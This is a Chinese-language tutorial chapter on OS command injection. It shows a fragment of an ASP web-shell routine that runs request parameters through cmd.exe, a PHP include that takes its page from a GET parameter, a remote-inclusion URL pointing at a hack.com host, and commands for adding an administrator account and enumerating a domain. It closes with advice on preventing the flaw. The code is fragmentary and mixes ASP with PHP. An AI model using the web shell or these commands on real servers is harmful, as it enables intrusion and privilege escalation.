关于本章
本章主要描述以下内容:
分析如何通过web的方式下发操作系统的一些常用命令进行攻击
OS注入命令的含义是利用操作系统上的权限分配不够严谨,或者编写网页的程序员的疏忽,造成可以通过web传参的方式调用操作系统的一些基本命令在服务器本地直接写入木马程序或者直接提升权限
对于扫描注入点可以通过向服务器发送请求,根据回应报文中的server请求头或者一些特定服务器返回信息来确定后台服务器使用的操作系统,比如apache+php一般工作在linux系统中,而asp+iis一般工作在windows系统中,下面来看一段asp代码:
Os_injection.asp
<%
showExecuteTime()
end sub
sub pageCmdShell()
isIn(2)
dim cmdStr,cmdPath,cmdResult
cmdStr=request("cmdStr")
cmdPath=request("cmdPath")
showTitle("Shell操作")
if cmdPath="" then
cmdPath="cmd.exe"
end if
if cmdStr<>"" then
if instr(lcase(cmdPath),lcase("cmd.exe"))>0 or instr(lcase(cmdPath),lcase(myCmdDotExeFile))>0 then
cmdResult=doCmdRun(cmdPath&" /c "&cmdStr)
else
if lcase(cmdPath)=lcase("wscriptShell") then
cmdResult=doCmdRun(cmdStr)
else
cmdResult=doCmdRun(cmdPath&" "&cmdStr)
end if
end if
end if
echo "<body οnlοad=""document.forms[0].cmdStr.focus();"">"
%>
上面的代码将cmd命令封装在一个URL里通过浏览器传输,如果网页上存在包含漏洞,比如程序员封装了一个函数保存在一个页面当中,当存在多个页面都需要引擎这个函数时,就需要在所有页面里加入嵌套的接口,常用的类似于
if ($_GET[page]) {
include $_GET[page];
} else {
include "home.asp";
如果在网页中包含了这种引入方法,那么可以通过url传递需要的攻击向量形成os命令注入攻击,include file=http://x.x.x.x/index.asp?http://www.hack.com/ Os_injection.asp?cmd=XXX
在cmd命令我们可以接上需要传输的命令,例如dos命令中增加一个管理员的命令
Cmd=net user lzr lzr /add,常见的操作磁盘的命令有一下这些:
net view 查看计算机列表
ipconfig /all 得到完整的网络信息
net localgroup administrators 查看本机在域中的角色
net user /domain 查看域用户列表
net group "domain admin" /domain 查看域管理员用户
net user xxxx /domain 查看域xxxx管理员状态
net group 域中的全局用户组
net accounts 查看用户账户数据库管理(需要启动Net logon服务)
net session 管理服务器计算机的连接
net file 显示服务器上打开的共享文件名称
net localgroup 管理本地组
一般结合远程文件包含漏洞去注入OS命令起到获取系统webshell
防治的方式
一般是通过过滤url信息,不许再可接受参数的地方输入直接带连接的信息,其次在编写网页的时候尽量在初始化的时候插入需要用到的文件,而不是在框架代码中进行带入,有下面两种方式都可以引入文件:
<!--#include file="conn.asp"-->
是安全的,明确指定只引用的文件名和本地路径
if ($_GET[page]) {
include $_GET[page];
} else {
include "home.asp";
用代码逻辑进行引入,特别是通过get的方式,是危险的方式,容易引起由于远程包含漏洞,然后进行OS命令注入攻击。